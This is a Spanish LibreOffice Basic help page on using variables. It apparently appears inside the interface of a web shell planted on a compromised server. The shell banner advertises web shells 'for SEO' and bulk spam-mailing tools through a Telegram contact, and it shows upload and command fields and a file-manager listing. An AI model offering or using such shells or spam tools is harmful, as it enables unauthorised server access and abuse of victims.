__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<!DOCTYPE html>
<html lang="es" dir="ltr">
<head>
<base href="../../../../">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Uso de variables</title>
<link rel="shortcut icon" href="media/navigation/favicon.ico">
<link type="text/css" href="normalize.css" rel="Stylesheet">
<link type="text/css" href="prism.css" rel="Stylesheet">
<link type="text/css" href="default.css" rel="Stylesheet">
<script type="text/javascript" src="polyfills.js"></script><script type="text/javascript" src="languages.js"></script><script type="text/javascript" src="es/langnames.js"></script><script type="text/javascript" src="flexsearch.debug.js"></script><script type="text/javascript" src="prism.js"></script><script type="text/javascript" src="help2.js" defer></script><script type="text/javascript" src="a11y-toggle.js" defer></script><script type="text/javascript" src="paginathing.js" defer></script><script type="text/javascript" src="es/bookmarks.js" defer></script><script type="text/javascript" src="es/contents.js" defer></script><script type="text/javascript" src="help.js" defer></script><meta name="viewport" content="width=device-width,initial-scale=1">
</head>
<body>
<header id="TopLeftHeader"><a class="symbol" href="es/text/shared/05/new_help.html"><div></div></a><a class="logo" href="es/text/shared/05/new_help.html"><p dir="auto">Ayuda de LibreOffice 25.2</p></a><div class="dropdowns"><div class="modules">
<button type="button" data-a11y-toggle="modules-nav" id="modules" aria-haspopup="true" aria-expanded="false" aria-controls="modules-nav">Módulo</button><nav id="modules-nav" hidden=""></nav>
</div></div></header><aside class="leftside"><input id="accordion-1" name="accordion-menu" type="checkbox"><label for="accordion-1" dir="auto">Contenido</label><div id="Contents" class="contents-treeview"></div></aside><div id="SearchFrame"><div id="Bookmarks">
<input id="search-bar" type="search" class="search" placeholder="Buscar en los marcadores del módulo elegido" dir="auto"><div class="nav-container" tabindex="0"><nav class="index" dir="auto"></nav></div>
</div></div>
<div id="DisplayArea" itemprop="softwareHelp" itemscope="true" itemtype="http://schema.org/SoftwareApplication">
<noscript><div id="WarnJS"><h1 dir="auto">Active JavaScript en el navegador para mostrar las páginas de ayuda de LibreOffice.</h1></div></noscript>

<a id="variable"></a>
<a id="bm_id3149346"></a>  <meta itemprop="keywords" content="nombres de variables">
<meta itemprop="keywords" content="variables, usar">
<meta itemprop="keywords" content="tipos de variables">
<meta itemprop="keywords" content="declarar variables">
<meta itemprop="keywords" content="valores,de variables">
<meta itemprop="keywords" content="literales,fecha">
<meta itemprop="keywords" content="literales,entero">
<meta itemprop="keywords" content="literales,coma flotante"> <meta itemprop="keywords" content="constantes">
<meta itemprop="keywords" content="matrices,declarar">
<meta itemprop="keywords" content="definir,constantes">


<h1 id="hd_id3149346" dir="auto">Uso de variables</h1>
<p id="par_id3154346" class="paragraph" dir="auto">A continuación se describe el uso básico de variables en LibreOffice Basic.</p>


<h2 id="hd_id3153361" dir="auto">Convenciones de nombres para identificadores de variables</h2>
<p id="par_id3148797" class="paragraph" dir="auto">Un nombre de variable puede tener hasta 255 caracteres. El primer carácter de un nombre de variable <span class="emph">debe</span> ser una letra entre A y Z o entre a y z. También es posible utilizar números en los nombres de variable, aunque no se permiten ni signos de puntuación ni caracteres especiales, con la excepción del guion bajo («_»). En LibreOffice Basic no se hace distinción entre mayúsculas y minúsculas en los identificadores de variable. Los nombres de variable pueden contener espacios, pero en ese caso deben delimitarse entre corchetes.</p>
<p id="par_id3156422" class="paragraph" dir="auto">Ejemplos de identificadores de variable:</p>

<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    MiNumero=5      'Correcto'
    MiNumero5=15    'Correcto'
    MiNumero_5=20   'Correcto'
    Mi Numero=20    'No válido; las variables con espacios deben escribirse entre corchetes'
    [Mi Numero]=12  'Correcto'
    DéjàVu=25       'No válido; no se permiten caracteres especiales'
    5MiNumero=12    'No válido; la variable no puede comenzar por un número'
    Numero,Mio=12  'No válido; no se permiten signos de puntuación'
</code></pre></div>

<h2 id="hd_id3146317" dir="auto">Declaración de variables</h2>
<p id="par_id3150299" class="paragraph" dir="auto">En LibreOffice Basic no es necesario declarar las variables explícitamente. Las declaraciones de variables pueden realizarse con la instrucción <span class="emph">Dim</span>. Puede declarar más de una variable a la vez separando sus nombres mediante una coma. Para definir el tipo de variable, use un signo de declaración de tipo después del nombre o la palabra clave apropiada.</p>
<p id="par_id3154118" class="paragraph" dir="auto">Ejemplos de declaraciones de variable:</p>

<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    Dim a$               'Declara la variable «a» como cadena'
    Dim a As String      'Declara la variable «a» como cadena'
    Dim a$, b As Integer 'Declara una variable como cadena y otra como entero'
    Dim c As Boolean     'Declara «c» como una variable booleana que puede ser VERDADERA o FALSA'
</code></pre></div>

<div class="warning">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/warning.svg" alt="warning" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id3144770" dir="auto">Tenga en cuenta que en cuanto haya declarado una variable como de un tipo concreto ya no puede declararla con el mismo nombre y un tipo distinto.</p></div>
</div>
<br>

<p id="par_id421619551219763" class="paragraph" dir="auto">Cuando se declaran varias variables en un solo renglón de código, es necesario especificar el tipo de cada variable. Si no se especifica de forma explícita el tipo de una variable, BASIC supondrá que esta es del tipo <span class="emph">Variant</span>.</p>
<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
  ' Tanto la variable «a» como la «b» son del tipo entero
  Dim a As Integer, b As Integer
  ' La variable «c» es variante y la «d», entera
  Dim c, d As Integer
  ' Las variables también pueden declararse de forma explícita como de tipo variante
  Dim e As Variant, f As Double
</code></pre></div>
<div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id521619551687371" dir="auto">The <span class="emph">Variant</span> type is a special data type that can store any kind of value. To learn more, refer to the section <a target="_top" href="es/text/sbasic/shared/01020100.html#VariantTypeH2">The Variant type</a> below.</p></div>
</div>
<br>

<h3 id="hd_id3149331" dir="auto">Forzar declaraciones de variables</h3>
<p id="par_id3149443" class="paragraph" dir="auto">Para forzar la declaración de variables, use la orden siguiente:</p>
<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
Option Explicit
</code></pre></div>
<p id="par_id3155072" class="paragraph" dir="auto">La instrucción <span class="emph">Option Explicit</span> debe ser la primera línea del módulo, antes del primer SUB. Normalmente, solo es necesario declarar explícitamente las matrices. El resto de las variables se declaran según el carácter de declaración de tipo o, si se omite, según el tipo predeterminado <span class="emph">Single</span>.</p>

<h2 id="hd_id3154614" dir="auto">Tipos de variables</h2>
<p id="par_id3155383" class="paragraph" dir="auto">LibreOffice Basic admite cuatro clases de variables:</p>

<ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
  <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
    <p id="par_id3153972" class="listitem" dir="auto"> <span class="emph">Numérica</span>, puede contener valores numéricos. Algunas variables se utilizan para almacenar números grandes o pequeños y otras para números de coma flotante o fracciones.</p>
  </li>
  <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
    <p id="par_id3159226" class="listitem" dir="auto"> <span class="emph">Cadena</span>, contiene cadenas de caracteres.</p>
  </li>
  <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
    <p id="par_id3145217" class="listitem" dir="auto"> Las variables <span class="emph">booleanas</span> contienen bien el valor TRUE (verdadero), o bien FALSE (falso).</p>
  </li>
  <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
    <p id="par_id3154762" class="listitem" dir="auto"> Las variables de <span class="emph">objeto</span> pueden almacenar objetos de diversos tipos, como tablas y documentos, dentro de un documento.</p>
  </li>
</ul>

<h3 id="hd_id3153805" dir="auto">Variables enteras</h3>
<p id="par_id3146966" class="paragraph" dir="auto">Las variables de números enteros van desde −32768 hasta 32767. Si se asigna un valor de coma flotante a una variable de número entero, los decimales se redondearán hacia el entero siguiente. Las variables de números enteros se calculan rápidamente en los procedimientos y son apropiadas para variables contadoras en bucles. Estas variables solo necesitan dos bytes de memoria. El carácter de declaración de tipo es «%».</p>
<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
Dim Variable%
Dim Variable As Integer
</code></pre></div>

<h3 id="hd_id3147546" dir="auto">Variables enteras largas</h3>
<p id="par_id3151193" class="paragraph" dir="auto">Las variables de entero largo van de −2147483648 a 2147483647. Si asigna un valor de coma flotante a una variable de entero largo, los valores decimales se redondean al entero más próximo. Las variables de entero largo se calculan rápidamente en los procedimientos y son adecuadas como variables contadoras en bucles de valor elevado. Una variable de entero largo necesita cuatro bytes de memoria. El carácter de declaración de tipo es «&amp;».</p>
<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
Dim Variable&amp;
Dim Variable As Long
</code></pre></div>

<h3 id="hd_id7596972" dir="auto">Variables decimales</h3>
<p id="par_id2649311" class="paragraph" dir="auto">Las variables decimales pueden tomar numeros positivos y negativos o el numero cero. La exactitud esta hasta 29 digitos.</p>
<p id="par_id7617114" class="paragraph" dir="auto">Puede utilizar un signo de suma (+) o resta (-) como prefijo a un número decimal (con o sin espacios).</p>
<p id="par_id1593676" class="paragraph" dir="auto">Si un número decimal se asigna a una variable entera, LibreOffice Basic redondea la cantidad al alza o a la baja.</p>

<h3 id="hd_id3147500" dir="auto">Variables sencillas</h3>
<p id="par_id3153070" class="paragraph" dir="auto">Las variables sencillas pueden tomar valores positivos o negativos que vayan desde 3,402823 × 10³⁸ hasta 1,401298 × 10⁻⁴⁵. Las variables sencillas son variables de coma flotante (o de punto flotante) en las cuales la precisión del decimal disminuye a medida que la parte no decimal del número aumenta. Las variables sencillas son idóneas para cálculos matemáticos de precisión media. Los cálculos requieren más tiempo que los de variables enteras, pero son más rápidos que los de variante doble. Una variable sencilla requiere 4 bytes de memoria. El carácter de declaración de tipo es «!».</p>
<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
Dim Variable!
Dim Variable As Single
</code></pre></div>

<h3 id="hd_id3155753" dir="auto">Variables dobles</h3>
<p id="par_id3150953" class="paragraph" dir="auto">Las variables dobles pueden tomar valores positivos o negativos que vayan desde 1,79769313486232 × 10³⁰⁸ hasta 4,94065645841247 × 10⁻³²⁴. Las variables dobles son variables de coma flotante en las cuales la precisión del decimal disminuye a medida que la parte no decimal del número incrementa. Las variables dobles son idóneas para cálculos precisos. Los cálculos requieren más tiempo que los de las variables sencillas. Una variable doble requiere 8 bytes de memoria. El carácter de declaración de tipo es «#».</p>
<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
Dim Variable#
Dim Variable As Double
</code></pre></div>

<h3 id="hd_id3155747" dir="auto">Variables monetarias</h3>
<p id="par_id3153337" class="paragraph" dir="auto">Las variables de moneda se almacenan internamente como números de 64 bits (8 bytes) y se muestran como números con cantidad de decimales fija con 15 posiciones no decimales y 4 decimales. Los valores van de −922337203685477,5808 a +922337203685477,5807. Las variables de moneda se usan para calcular valores de divisas con una precisión elevada. El carácter de declaración de tipo es «@».</p>
<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
Dim Variable@
Dim Variable As Currency
</code></pre></div>

<h3 id="hd_id301576839713868" dir="auto">Literales para enteros</h3>
<p id="par_id1001576839723156" class="paragraph" dir="auto">Es posible codificar números usando formas octales y hexadecimales.</p>
<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
  xi = &amp;o13 '    8 + 3
  ci = &amp;h65 ' 6*16 + 5
  MAX_Integer =  &amp;o77777 '  32767 = &amp;h7FFF
  MIN_Integer = &amp;o100000 ' -32768 = &amp;h8000
  MAX_Long = &amp;h7fffffff '  2147483647 = &amp;o17777777777
  MIN_Long = &amp;h80000000 ' -2147483648 = &amp;o20000000000
</code></pre></div>

<h3 id="hd_id3148742" dir="auto">Variables de cadena</h3>
<p id="par_id3151393" class="paragraph" dir="auto">String variables can hold character strings with up to 2,147,483,648 characters. Each character is stored as the corresponding Unicode value. String variables are suitable for word processing within programs and for temporary storage of any non-printable character up to a maximum length of 2 Gbytes. The memory required for storing string variables depends on the number of characters in the variable. The type-declaration character is "$".</p>
<div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="tip" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id381599081637549" dir="auto">En las funciones de BASIC para cadenas, el primer carácter de una cadena tiene el índice 1.</p></div>
</div>
<br>
<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
Dim Variable$
Dim Variable As String
</code></pre></div>

<h3 id="hd_id3150534" dir="auto">Variables booleanas</h3>
<p id="par_id3145632" class="paragraph" dir="auto">Las variables booleanas solo almacenan uno de estos dos valores: TRUE (verdadero) o FALSE (falso). Un número 0 se calcula como FALSE; cualquier otro número, como TRUE.</p>
<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
Dim Variable As Boolean
</code></pre></div>

<h3 id="hd_id3149722" dir="auto">Variables de fecha</h3>
<p id="par_id3159116" class="paragraph" dir="auto">Las variables de fecha solo pueden contener valores de fecha y hora almacenados en un formato interno. Los valores asignados a variables de fecha con <a target="_top" href="es/text/sbasic/shared/03030101.html"><span class="emph">Dateserial</span></a>, <a target="_top" href="es/text/sbasic/shared/03030102.html"><span class="emph">Datevalue</span></a>, <a target="_top" href="es/text/sbasic/shared/03030205.html"><span class="emph">Timeserial</span></a> o <a target="_top" href="es/text/sbasic/shared/03030206.html"><span class="emph">Timevalue</span></a> se convierten automáticamente al formato interno. Las variables de fecha se convierten a números normales usando las funciones <a target="_top" href="es/text/sbasic/shared/03030103.html"><span class="emph">Day</span></a>, <a target="_top" href="es/text/sbasic/shared/03030104.html"><span class="emph">Month</span></a>, <a target="_top" href="es/text/sbasic/shared/03030106.html"><span class="emph">Year</span></a> or the <a target="_top" href="es/text/sbasic/shared/03030201.html"><span class="emph">Hour</span></a>, <a target="_top" href="es/text/sbasic/shared/03030202.html"><span class="emph">Minute</span></a>, <a target="_top" href="es/text/sbasic/shared/03030204.html"><span class="emph">Second</span></a>. El formato interno permite la comparación de valores de fecha/hora calculando la diferncia entre dos números. estas variables solamente pueden declararse con la palbra clave <span class="emph">Date</span>.</p>
<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
Dim Variable As Date
</code></pre></div>

<a id="bm_id3150669"></a>  <meta itemprop="keywords" content="símbolo et, en notación literal">
<meta itemprop="keywords" content="literales,hexadecimales">
<meta itemprop="keywords" content="literales,octales">
<meta itemprop="keywords" content="literales,notación &amp;h">
<meta itemprop="keywords" content="literales,notación &amp;o">
<h3 id="hd_DateLiterals" dir="auto">Literales para fechas</h3>
<a id="DateLiterals"></a>
<p id="par_id151616083357363" class="paragraph" dir="auto">Date literals allow to specify unambiguous date variables that are independent from the current language. Literals are enclosed between hash signs <span class="literal">#</span>. Possible formats are:</p>
<ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id41616083766108" class="listitem" dir="auto"><span class="literal">#yyyy-mm-dd#</span></p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id271616083874773" class="listitem" dir="auto"><span class="literal">#mm/dd/yyyy#</span></p>
    </li>
</ul>

<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
  start_date = #1899-12-30# ' = 0
  dob = #2010-09-28#
</code></pre></div>

<a id="bm_id601619552599885"></a>  <meta itemprop="keywords" content="The Variant type">  <meta itemprop="keywords" content="The Any type">
<h2 id="VariantTypeH2" dir="auto">El tipo Variant</h2>
<p id="par_id1001619552129323" class="paragraph" dir="auto">Variables declared as <span class="emph">Variant</span> can handle any data type. This means that the actual data type is defined during runtime as a value is assigned to the variable.</p>
<p id="par_id631619552417188" class="paragraph" dir="auto">There are three main ways to create a <span class="emph">Variant</span> variable, as shown below:</p>
<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
  Dim varA            ' No está especificado el tipo; por ende, la variable es Variant
  Dim varB as Variant ' La variable se declara especificamente como una variable Variant
  varC = "abc"        ' Las variables que no se han declarado previamente se tratan como variantes
</code></pre></div>
<p id="par_id631619552417343" class="paragraph" dir="auto">The example below uses the <a target="_top" href="es/text/sbasic/shared/03103600.html">TypeName function</a> to show how the type of a <span class="emph">Variant</span> variable changes upon assignment.</p>
<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
  Dim myVar As Variant
  MsgBox TypeName(myVar) ' Empty
  myVar = "Hello!"
  MsgBox TypeName(myVar) ' String
  myVar = 10
  MsgBox TypeName(myVar) ' Integer
</code></pre></div>
<div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id141619553442668" dir="auto">A <span class="emph">Variant</span> variable is initialized with the <a target="_top" href="es/text/sbasic/shared/03040000.html#objectconstants">Empty</a> special data type. You can use the <a target="_top" href="es/text/sbasic/shared/03102400.html">IsEmpty function</a> to test if a variable is an <span class="emph">Empty Variant</span>.</p></div>
</div>
<br>
<p id="par_id541619552755706" class="paragraph" dir="auto">You can also use the keyword <span class="emph">Any</span> to declare a variable as a <span class="emph">Variant</span>. However, <span class="emph">Any</span> is deprecated and is available for backward compatibility.</p>
<div class="warning">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/warning.svg" alt="warning" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id711619622934043" dir="auto">Arguments with type <span class="emph">Variant</span> or <span class="emph">Any</span> passed in function calls are not checked for their types.</p></div>
</div>
<br>
<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
  Dim myVar As Any ' Variable "myVar" is a Variant
</code></pre></div>

<h2 id="hd_id3148732" dir="auto">Valores iniciales de las variables</h2>
<p id="par_id3154549" class="paragraph" dir="auto">En cuanto se declare la variable, esta recibe automáticamente el valor «Null» (‘nulo’). Preste atención a las convenciones siguientes:</p>
<p id="par_id3143222" class="paragraph" dir="auto"> A las variables <span class="emph">numéricas</span> se les asigna automáticamente el valor «0» desde que se definen.</p>
<p id="par_id3150693" class="paragraph" dir="auto"> A las <span class="emph">variables de fecha</span> se les asigna el valor 0 internamente, lo que equivale a convertir el valor a «0» con las funciones <a target="_top" href="es/text/sbasic/shared/03030103.html"><span class="emph">Day</span></a>, <a target="_top" href="es/text/sbasic/shared/03030104.html"><span class="emph">Month</span></a>, <a target="_top" href="es/text/sbasic/shared/03030106.html"><span class="emph">Year</span></a> or the <a target="_top" href="es/text/sbasic/shared/03030201.html"><span class="emph">Hour</span></a>, <a target="_top" href="es/text/sbasic/shared/03030202.html"><span class="emph">Minute</span></a> o <a target="_top" href="es/text/sbasic/shared/03030204.html"><span class="emph">Second</span></a>.</p>
<p id="par_id3154807" class="paragraph" dir="auto"> A las <span class="emph">variables de cadena</span> se les asigna una cadena vacía («») cuando se declaran.</p>

<h2 id="hd_id3153936" dir="auto">Matrices</h2>
<p id="par_id3148736" class="paragraph" dir="auto">LibreOffice Basic distingue matrices de una o varias dimensiones, definidas por un tipo de variables especificado. Las matrices son adecuadas para editar listas y tablas en los programas. Se puede acceder a los elementos individuales de las matrices utilizando un índice numérico.</p>
<p id="par_id3149546" class="paragraph" dir="auto">Las matrices <span class="emph">deben</span> declararse con la instrucción <span class="emph">Dim</span>. Hay varias maneras de definir el intervalo de índices de una matriz:</p>

<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
    Dim Text$(20)       '21 elementos numerados del 0 al 20'
    Dim Text$(5,4)      '30 elementos (una matriz de 6 × 5 elementos)'
    Dim Text$(5 To 25)  '21 elementos numerados del 5 al 25'
    Dim Text$(-15 To 5) '21 elementos (el 0 incluido), numerados del −15 al 5'
</code></pre></div>

<p id="par_id3153005" class="paragraph" dir="auto">El intervalo de índices puede incluir números positivos y negativos.</p>

<h2 id="hd_id3154507" dir="auto">Constantes</h2>
<p id="par_id3156357" class="paragraph" dir="auto">Las constantes tienen un valor fijo. Solo se definen una vez en el programa y no pueden volverse a definir más adelante:</p>
<div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
Const ConstName=Expression
</code></pre></div>
  <a id="relatedtopics"></a><div class="relatedtopics">
<p class="related" itemprop="mentions" dir="auto"><a id="related"></a><span class="emph">Temas relacionados</span></p>
<div class="relatedbody" itemprop="mentions">
    <p id="par_id281619620439154" class="paragraph" dir="auto"><a target="_top" href="es/text/sbasic/shared/03040000.html">Basic Constants</a></p>
    <p id="par_id641619620637722" class="paragraph" dir="auto"><a target="_top" href="es/text/sbasic/shared/03102100.html">Dim Statement</a></p>
</div>
</div> 
</div>
<div id="DonationFrame"></div>
<footer><h2 style="text-align: center;"><a href="https://books.libreoffice.org" target="_blank">Libros de LibreOffice</a></h2>
<div class="noteicon" dir="auto" style="display:flex;justify-content:center;flex-wrap:wrap;row-gap:15px;">
<img src="media/navigation/libo-writer.svg" alt="Writer Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-calc.svg" alt="Calc Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-impress.svg" alt="Impress Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-draw.svg" alt="Draw Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-base.svg" alt="Base Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-math.svg" alt="Math Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-symbol-black.svg" alt="Getting Started Icon" style="width:60px;height:60px;">
</div>
<div id="DEBUG" class="debug">
<h3 class="bug">Help content debug info:</h3>
<p dir="auto">This page is: <a href="https://opengrok.libreoffice.org/xref/help/source/text/sbasic/shared/01020100.xhp" target="_blank">/text/sbasic/shared/01020100.xhp</a></p>
<p dir="auto">Title is: Uso de variables</p>
<p id="bm_module" dir="auto"></p>
<p id="bm_system" dir="auto"></p>
<p id="bm_HID" dir="auto"></p>
</div></footer>
</body>
</html>

Filemanager

Name Type Size Permission Actions
01 Folder 0755
02 Folder 0755
03 Folder 0755
00000002.html File 8.56 KB 0644
00000003.html File 28.14 KB 0644
01000000.html File 5.48 KB 0644
01010210.html File 7.54 KB 0644
01020000.html File 5.39 KB 0644
01020100.html File 29.21 KB 0644
01020200.html File 4.78 KB 0644
01020300.html File 19.46 KB 0644
01020500.html File 5.77 KB 0644
01030000.html File 5.17 KB 0644
01030100.html File 5.25 KB 0644
01030200.html File 10.6 KB 0644
01030300.html File 22.3 KB 0644
01030400.html File 21.46 KB 0644
01040000.html File 29.11 KB 0644
01050000.html File 8.94 KB 0644
01050100.html File 5.34 KB 0644
01050200.html File 4.15 KB 0644
01050300.html File 5.2 KB 0644
01170100.html File 7.26 KB 0644
01170101.html File 31.62 KB 0644
01170103.html File 6.87 KB 0644
03000000.html File 8.61 KB 0644
03010000.html File 5 KB 0644
03010100.html File 4.58 KB 0644
03010102.html File 16.46 KB 0644
03010103.html File 9.97 KB 0644
03010200.html File 4.31 KB 0644
03010201.html File 7.04 KB 0644
03010300.html File 5.87 KB 0644
03010301.html File 6.98 KB 0644
03010302.html File 6.4 KB 0644
03010303.html File 6.96 KB 0644
03010304.html File 7.13 KB 0644
03010305.html File 7.54 KB 0644
03010306.html File 7.17 KB 0644
03020000.html File 6.28 KB 0644
03020100.html File 5.06 KB 0644
03020101.html File 7.72 KB 0644
03020102.html File 8.16 KB 0644
03020103.html File 11.08 KB 0644
03020104.html File 6.19 KB 0644
03020200.html File 6.38 KB 0644
03020201.html File 9.18 KB 0644
03020202.html File 8.46 KB 0644
03020203.html File 8.38 KB 0644
03020204.html File 9.91 KB 0644
03020205.html File 8.89 KB 0644
03020301.html File 8.49 KB 0644
03020302.html File 5.38 KB 0644
03020303.html File 8.97 KB 0644
03020304.html File 5.15 KB 0644
03020305.html File 6.41 KB 0644
03020400.html File 9.18 KB 0644
03020401.html File 7.89 KB 0644
03020402.html File 8.11 KB 0644
03020403.html File 8.64 KB 0644
03020404.html File 8.78 KB 0644
03020405.html File 8.38 KB 0644
03020406.html File 5.93 KB 0644
03020407.html File 6.64 KB 0644
03020408.html File 6.43 KB 0644
03020409.html File 9.93 KB 0644
03020410.html File 5.85 KB 0644
03020411.html File 7.44 KB 0644
03020412.html File 5.19 KB 0644
03020413.html File 6.59 KB 0644
03020414.html File 8.25 KB 0644
03020415.html File 5.47 KB 0644
03030000.html File 5.79 KB 0644
03030100.html File 12.41 KB 0644
03030101.html File 7.33 KB 0644
03030102.html File 7.36 KB 0644
03030103.html File 6.02 KB 0644
03030104.html File 5.92 KB 0644
03030105.html File 13.53 KB 0644
03030106.html File 5.79 KB 0644
03030107.html File 6.04 KB 0644
03030108.html File 7.58 KB 0644
03030110.html File 9.82 KB 0644
03030111.html File 5.25 KB 0644
03030112.html File 5.26 KB 0644
03030113.html File 5.27 KB 0644
03030114.html File 5.26 KB 0644
03030115.html File 5.27 KB 0644
03030116.html File 5.26 KB 0644
03030120.html File 13.98 KB 0644
03030130.html File 14.14 KB 0644
03030200.html File 7.17 KB 0644
03030201.html File 5.83 KB 0644
03030202.html File 6.35 KB 0644
03030203.html File 5.94 KB 0644
03030204.html File 5.78 KB 0644
03030205.html File 7.7 KB 0644
03030206.html File 6.86 KB 0644
03030300.html File 5.12 KB 0644
03030301.html File 4.76 KB 0644
03030302.html File 4.78 KB 0644
03030303.html File 6.61 KB 0644
03040000.html File 62.7 KB 0644
03050000.html File 7.41 KB 0644
03050100.html File 5.85 KB 0644
03050200.html File 5.73 KB 0644
03050300.html File 18.68 KB 0644
03050500.html File 7.3 KB 0644
03060000.html File 6.3 KB 0644
03060100.html File 6 KB 0644
03060200.html File 5.76 KB 0644
03060300.html File 5.77 KB 0644
03060400.html File 5.49 KB 0644
03060500.html File 5.65 KB 0644
03060600.html File 5.75 KB 0644
03070000.html File 6.32 KB 0644
03070100.html File 5.13 KB 0644
